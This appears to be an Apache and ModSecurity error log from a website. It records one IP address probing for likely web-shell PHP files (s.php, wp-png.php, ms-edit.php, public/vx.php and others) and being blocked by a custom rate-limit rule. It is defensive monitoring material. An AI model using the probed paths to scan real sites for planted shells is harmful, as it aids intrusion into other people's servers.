[Wed Apr 15 19:00:55.862735 2026] [:error] [pid 30957:tid 31006] [client 51.120.68.159:8990] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ad9v535gwVEVXHfVSipqyAAAAFE"]
[Wed Apr 15 19:00:55.949933 2026] [:error] [pid 30958:tid 31028] [client 51.120.68.159:11389] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-good.php"] [unique_id "ad9v58eG3wSKTO7NWFGIBgAAAMw"]
[Wed Apr 15 19:00:56.404977 2026] [proxy_fcgi:error] [pid 37370:tid 37377] [client 51.120.68.159:11663] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:00:56.484318 2026] [proxy_fcgi:error] [pid 37370:tid 37379] [client 51.120.68.159:50666] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:00:56.666841 2026] [proxy_fcgi:error] [pid 37370:tid 37372] [client 51.120.68.159:11663] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:00:56.746350 2026] [proxy_fcgi:error] [pid 37370:tid 37390] [client 51.120.68.159:50666] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:00:56.968683 2026] [proxy_fcgi:error] [pid 37370:tid 37385] [client 51.120.68.159:11663] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:00:57.009429 2026] [proxy_fcgi:error] [pid 37370:tid 37389] [client 51.120.68.159:50666] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:00:57.232582 2026] [proxy_fcgi:error] [pid 37370:tid 37373] [client 51.120.68.159:11663] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:00:57.272682 2026] [proxy_fcgi:error] [pid 37370:tid 37381] [client 51.120.68.159:50666] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:00:57.496032 2026] [proxy_fcgi:error] [pid 37370:tid 37396] [client 51.120.68.159:11663] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:00:57.538917 2026] [proxy_fcgi:error] [pid 37370:tid 37388] [client 51.120.68.159:50666] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:00:57.763836 2026] [proxy_fcgi:error] [pid 37370:tid 37384] [client 51.120.68.159:11663] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:00:57.797849 2026] [:error] [pid 37370:tid 37392] [client 51.120.68.159:50666] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ad9v6Xg-gnM2Ga0cGAD6igAAARQ"]
[Wed Apr 15 19:00:58.022433 2026] [:error] [pid 37370:tid 37394] [client 51.120.68.159:11663] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/s.php"] [unique_id "ad9v6ng-gnM2Ga0cGAD6iwAAARY"]
[Wed Apr 15 19:00:58.336394 2026] [:error] [pid 31053:tid 31066] [client 51.120.68.159:39631] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ad9v6hcEkLCmvF0fjDekJgAAAIo"]
[Wed Apr 15 19:00:58.664620 2026] [:error] [pid 37370:tid 37380] [client 51.120.68.159:35652] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/s.php"] [unique_id "ad9v6ng-gnM2Ga0cGAD6jQAAAQg"]
[Wed Apr 15 19:00:58.893625 2026] [:error] [pid 31053:tid 31058] [client 51.120.68.159:24361] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ad9v6hcEkLCmvF0fjDekKgAAAII"]
[Wed Apr 15 19:00:59.224976 2026] [:error] [pid 30957:tid 31008] [client 51.120.68.159:26498] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/s.php"] [unique_id "ad9v635gwVEVXHfVSipq0gAAAFM"]
[Wed Apr 15 19:00:59.507638 2026] [:error] [pid 31053:tid 31063] [client 51.120.68.159:24322] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-png.php"] [unique_id "ad9v6xcEkLCmvF0fjDekLwAAAIc"]
[Wed Apr 15 19:00:59.759813 2026] [:error] [pid 30958:tid 31018] [client 51.120.68.159:8638] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/s.php"] [unique_id "ad9v68eG3wSKTO7NWFGIDQAAAMI"]
[Wed Apr 15 19:01:00.035145 2026] [:error] [pid 30958:tid 31031] [client 51.120.68.159:39668] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/s.php"] [unique_id "ad9v7MeG3wSKTO7NWFGIDgAAAM8"]
[Wed Apr 15 19:01:00.539480 2026] [:error] [pid 31053:tid 31068] [client 51.120.68.159:51078] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/first.php"] [unique_id "ad9v7BcEkLCmvF0fjDekNQAAAIw"]
[Wed Apr 15 19:01:00.628806 2026] [:error] [pid 30958:tid 31020] [client 51.120.68.159:20559] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/s.php"] [unique_id "ad9v7MeG3wSKTO7NWFGIEAAAAMQ"]
[Wed Apr 15 19:01:01.210345 2026] [:error] [pid 30956:tid 30982] [client 51.120.68.159:50308] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/first.php"] [unique_id "ad9v7UBGUpjaWntNYq1c7wAAABY"]
[Wed Apr 15 19:01:01.242939 2026] [:error] [pid 30958:tid 31030] [client 51.120.68.159:21739] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/s.php"] [unique_id "ad9v7ceG3wSKTO7NWFGIEgAAAM4"]
[Wed Apr 15 19:01:01.807817 2026] [:error] [pid 30957:tid 30993] [client 51.120.68.159:8991] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/s.php"] [unique_id "ad9v7X5gwVEVXHfVSipq3AAAAEQ"]
[Wed Apr 15 19:01:01.890811 2026] [:error] [pid 30957:tid 31012] [client 51.120.68.159:12089] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/first.php"] [unique_id "ad9v7X5gwVEVXHfVSipq3gAAAFc"]
[Wed Apr 15 19:01:02.377900 2026] [:error] [pid 30958:tid 31033] [client 51.120.68.159:38995] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/first.php"] [unique_id "ad9v7seG3wSKTO7NWFGIFwAAANE"]
[Wed Apr 15 19:01:02.535937 2026] [:error] [pid 30958:tid 31040] [client 51.120.68.159:24002] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/first.php"] [unique_id "ad9v7seG3wSKTO7NWFGIGAAAANg"]
[Wed Apr 15 19:01:02.924976 2026] [:error] [pid 30956:tid 30973] [client 51.120.68.159:20545] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/first.php"] [unique_id "ad9v7kBGUpjaWntNYq1c9QAAAA0"]
[Wed Apr 15 19:01:03.554985 2026] [:error] [pid 30956:tid 30972] [client 51.120.68.159:39016] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "ad9v70BGUpjaWntNYq1c-AAAAAw"]
[Wed Apr 15 19:01:03.636503 2026] [:error] [pid 30956:tid 30983] [client 51.120.68.159:16705] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/first.php"] [unique_id "ad9v70BGUpjaWntNYq1c-QAAABc"]
[Wed Apr 15 19:01:04.195881 2026] [:error] [pid 30956:tid 30962] [client 51.120.68.159:24805] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "ad9v8EBGUpjaWntNYq1c-gAAAAI"]
[Wed Apr 15 19:01:04.345574 2026] [:error] [pid 31053:tid 31065] [client 51.120.68.159:8634] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/first.php"] [unique_id "ad9v8BcEkLCmvF0fjDekPgAAAIk"]
[Wed Apr 15 19:01:05.050248 2026] [:error] [pid 30958:tid 31031] [client 51.120.68.159:24015] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "ad9v8ceG3wSKTO7NWFGIIgAAAM8"]
[Wed Apr 15 19:01:05.072027 2026] [:error] [pid 30956:tid 30982] [client 51.120.68.159:16759] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "ad9v8UBGUpjaWntNYq1c_wAAABY"]
[Wed Apr 15 19:01:05.647517 2026] [:error] [pid 30956:tid 30968] [client 51.120.68.159:50321] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "ad9v8UBGUpjaWntNYq1dAAAAAAg"]
[Wed Apr 15 19:01:05.718851 2026] [:error] [pid 30956:tid 30979] [client 51.120.68.159:12060] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "ad9v8UBGUpjaWntNYq1dAQAAABM"]
[Wed Apr 15 19:01:06.266960 2026] [:error] [pid 30957:tid 31003] [client 51.120.68.159:24788] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "ad9v8n5gwVEVXHfVSipq8AAAAE4"]
[Wed Apr 15 19:01:06.583102 2026] [:error] [pid 30958:tid 31037] [client 51.120.68.159:26552] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ad9v8seG3wSKTO7NWFGIJgAAANU"]
[Wed Apr 15 19:01:07.120929 2026] [:error] [pid 30956:tid 30975] [client 51.120.68.159:12048] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "ad9v80BGUpjaWntNYq1dBwAAAA8"]
[Wed Apr 15 19:01:07.303113 2026] [:error] [pid 30958:tid 31028] [client 51.120.68.159:24358] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ad9v88eG3wSKTO7NWFGIKwAAAMw"]
[Wed Apr 15 19:01:07.800338 2026] [:error] [pid 30957:tid 30992] [client 51.120.68.159:29838] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ad9v835gwVEVXHfVSipq9wAAAEM"]
[Wed Apr 15 19:01:08.295392 2026] [:error] [pid 30958:tid 31025] [client 51.120.68.159:50633] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ad9v9MeG3wSKTO7NWFGILAAAAMk"]
[Wed Apr 15 19:01:08.584454 2026] [:error] [pid 37370:tid 37385] [client 51.120.68.159:24030] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ad9v9Hg-gnM2Ga0cGAD6mQAAAQ0"]
[Wed Apr 15 19:01:09.070644 2026] [:error] [pid 30958:tid 31017] [client 51.120.68.159:50332] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ad9v9ceG3wSKTO7NWFGILQAAAME"]
[Wed Apr 15 19:01:09.317461 2026] [:error] [pid 30957:tid 31005] [client 51.120.68.159:13227] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ad9v9X5gwVEVXHfVSipq_QAAAFA"]
[Wed Apr 15 19:01:09.823392 2026] [:error] [pid 37370:tid 37396] [client 51.120.68.159:11687] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asd.php"] [unique_id "ad9v9Xg-gnM2Ga0cGAD6nQAAARg"]
[Wed Apr 15 19:01:10.183010 2026] [:error] [pid 37370:tid 37392] [client 51.120.68.159:39635] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ad9v9ng-gnM2Ga0cGAD6oAAAARQ"]
[Wed Apr 15 19:01:10.696989 2026] [:error] [pid 37370:tid 37393] [client 51.120.68.159:11337] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asd.php"] [unique_id "ad9v9ng-gnM2Ga0cGAD6ogAAARU"]
[Wed Apr 15 19:01:11.073290 2026] [:error] [pid 30957:tid 30998] [client 51.120.68.159:50345] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asd.php"] [unique_id "ad9v935gwVEVXHfVSipq_gAAAEk"]
[Wed Apr 15 19:01:11.324243 2026] [:error] [pid 30958:tid 31028] [client 51.120.68.159:29843] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asd.php"] [unique_id "ad9v98eG3wSKTO7NWFGINwAAAMw"]
[Wed Apr 15 19:01:11.903262 2026] [:error] [pid 31053:tid 31057] [client 51.120.68.159:39007] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asd.php"] [unique_id "ad9v9xcEkLCmvF0fjDekSwAAAIE"]
[Wed Apr 15 19:01:12.172039 2026] [:error] [pid 37370:tid 37383] [client 51.120.68.159:24353] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asd.php"] [unique_id "ad9v-Hg-gnM2Ga0cGAD6pwAAAQs"]
[Wed Apr 15 19:01:12.648270 2026] [:error] [pid 31053:tid 31079] [client 51.120.68.159:24796] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/vx.php"] [unique_id "ad9v-BcEkLCmvF0fjDekTQAAAJc"]
[Wed Apr 15 19:01:13.030145 2026] [:error] [pid 30956:tid 30961] [client 51.120.68.159:24325] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asd.php"] [unique_id "ad9v-UBGUpjaWntNYq1dCQAAAAE"]
[Wed Apr 15 19:01:13.249254 2026] [:error] [pid 37370:tid 37381] [client 51.120.68.159:50659] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/vx.php"] [unique_id "ad9v-Xg-gnM2Ga0cGAD6rgAAAQk"]
[Wed Apr 15 19:01:13.744087 2026] [:error] [pid 37370:tid 37388] [client 51.120.68.159:12052] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/asd.php"] [unique_id "ad9v-Xg-gnM2Ga0cGAD6rwAAARA"]
[Wed Apr 15 19:01:13.901945 2026] [:error] [pid 37370:tid 37379] [client 51.120.68.159:12080] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/vx.php"] [unique_id "ad9v-Xg-gnM2Ga0cGAD6sAAAAQc"]
[Wed Apr 15 19:01:14.332925 2026] [:error] [pid 30956:tid 30967] [client 51.120.68.159:16295] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/vx.php"] [unique_id "ad9v-kBGUpjaWntNYq1dDQAAAAc"]
[Wed Apr 15 19:01:14.583376 2026] [:error] [pid 31053:tid 31077] [client 51.120.68.159:16302] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/vx.php"] [unique_id "ad9v-hcEkLCmvF0fjDekTwAAAJU"]
[Wed Apr 15 19:01:14.924786 2026] [:error] [pid 37370:tid 37394] [client 51.120.68.159:11652] [client 51.120.68.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/public/vx.php"] [unique_id "ad9v-ng-gnM2Ga0cGAD6swAAARY"]
